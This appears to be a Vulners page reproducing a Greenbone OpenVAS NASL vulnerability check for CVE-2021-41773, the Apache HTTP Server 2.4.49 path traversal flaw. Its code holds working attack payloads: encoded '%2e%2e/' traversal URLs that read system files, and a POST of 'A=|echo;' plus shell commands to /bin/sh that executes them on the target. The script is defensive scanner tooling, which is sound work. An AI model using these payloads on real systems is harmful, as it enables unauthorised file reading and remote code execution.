Apache HTTP Server 2.4.49 Directory Traversal / RCE Vulnerability - Active Check
🗓️ 06 Oct 2021 00:00:00Reported by Copyright (C) 2021 Greenbone AGType
openvas🔗 plugins.openvas.org👁 62 Views
| Reporter | Title | Published | Views | Family All 285 |
|---|---|---|---|---|
| Exploit for Path Traversal in Apache Http_Server | 12 Mar 202221:24 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 7 Oct 202112:30 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 7 Oct 202100:14 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 17 Jun 202213:36 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 14 Mar 202204:08 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 31 Mar 202201:48 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 26 Oct 202117:56 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 4 Apr 202222:07 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 18 Mar 202617:59 | – | githubexploit | |
| Exploit for Path Traversal in Apache Http_Server | 31 Oct 202510:34 | – | githubexploit |
10
# SPDX-FileCopyrightText: 2021 Greenbone AG
# Some text descriptions might be excerpted from (a) referenced
# source(s), and are Copyright (C) by the respective right holder(s).
#
# SPDX-License-Identifier: GPL-2.0-only
CPE = "cpe:/a:apache:http_server";
if (description)
{
script_oid("1.3.6.1.4.1.25623.1.0.146844");
script_version("2026-02-18T05:57:21+0000");
script_tag(name:"last_modification", value:"2026-02-18 05:57:21 +0000 (Wed, 18 Feb 2026)");
script_tag(name:"creation_date", value:"2021-10-06 08:16:20 +0000 (Wed, 06 Oct 2021)");
script_tag(name:"cvss_base", value:"4.3");
script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:P/I:N/A:N");
script_tag(name:"severity_vector", value:"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
script_tag(name:"severity_origin", value:"NVD");
script_tag(name:"severity_date", value:"2026-02-17 19:49:26 +0000 (Tue, 17 Feb 2026)");
script_xref(name:"CISA", value:"Known Exploited Vulnerability (KEV) catalog");
script_xref(name:"URL", value:"https://www.cisa.gov/known-exploited-vulnerabilities-catalog");
script_cve_id("CVE-2021-41773");
script_tag(name:"qod_type", value:"exploit");
script_tag(name:"solution_type", value:"VendorFix");
script_name("Apache HTTP Server 2.4.49 Directory Traversal / RCE Vulnerability - Active Check");
script_category(ACT_ATTACK);
script_copyright("Copyright (C) 2021 Greenbone AG");
script_family("Web Servers");
script_dependencies("gb_apache_http_server_consolidation.nasl", "no404.nasl", "webmirror.nasl", "DDI_Directory_Scanner.nasl", "os_detection.nasl");
script_mandatory_keys("apache/http_server/http/detected");
script_require_ports("Services/www", 80);
script_tag(name:"summary", value:"Apache HTTP Server is prone to a directory traversal
and a possible remote code execution (RCE) vulnerability.");
script_tag(name:"vuldetect", value:"Sends multiple crafted HTTP GET/POST requests and checks the
responses.");
script_tag(name:"insight", value:"An attacker could use a path traversal attack to map URLs to
files outside the expected document root.
If files outside of the document root are not protected by 'require all denied' these requests
can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts.
Note: If 'mod_cgi' is enabled this flaw can be also be used by an attacker to achieve remote code
execution (RCE).");
script_tag(name:"affected", value:"Apache HTTP Server version 2.4.49.");
script_tag(name:"solution", value:"Update to version 2.4.50 or later.");
script_xref(name:"URL", value:"https://httpd.apache.org/security/vulnerabilities_24.html");
exit(0);
}
include("host_details.inc");
include("http_func.inc");
include("http_keepalive.inc");
include("list_array_func.inc");
include("misc_func.inc");
include("traversal_func.inc");
include("os_func.inc");
if (!port = get_app_port(cpe: CPE, service: "www"))
exit(0);
if (!get_app_location(cpe: CPE, port: port, nofork: TRUE))
exit(0);
files = traversal_files();
cmds = exploit_commands();
foreach dir (make_list_unique("/", "/cgi-bin", "/icons", http_cgi_dirs(port: port))) {
if (dir == "/")
dir = "";
foreach pattern (keys(files)) {
url = dir + "/.%2e/" + crap(length: 7 * 6, data: "%2e%2e/") + files[pattern];
req = http_get(port: port, item: url);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);
if (egrep(pattern: pattern, string: res)) {
report = 'It was possible to read "' + files[pattern] + '" through ' +
http_report_vuln_url(port: port, url: url, url_only: TRUE) + '\n\nResult:\n\n' + res;
security_message(port: port, data: report);
exit(0);
}
}
if (os_host_runs("Windows") != "yes") {
url = dir + "/.%2e/" + crap(length: 7 * 6, data: "%2e%2e/") + "bin/sh";
foreach pattern (keys(cmds)) {
data = "A=|echo;" + cmds[pattern];
req = http_post(port: port, item: url, data: data);
res = http_keepalive_send_recv(port: port, data: req, bodyonly: TRUE);
if (egrep(pattern: pattern, string: res)) {
info['HTTP Method'] = "POST";
info['Affected URL'] = http_report_vuln_url(port: port, url: url, url_only: TRUE);
info['HTTP "POST" body'] = data;
report = 'By doing the following HTTP request:\n\n';
report += text_format_table(array: info) + '\n\n';
report += 'it was possible to execute the "' + cmds[pattern] + '" command on the target host.';
report += '\n\nResult:\n\n' + res;
expert_info = 'Request:\n\n' + req + '\n\nResponse:\n\n' + res;
security_message(port: port, data: report, expert_info: expert_info);
exit(0);
}
}
}
}
exit(0);
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
18 Feb 2026 00:00Current
8.9High risk
Vulners AI Score8.9
CVSS 24.3
CVSS 3.17.5 - 9.8
EPSS0.99992
SSVC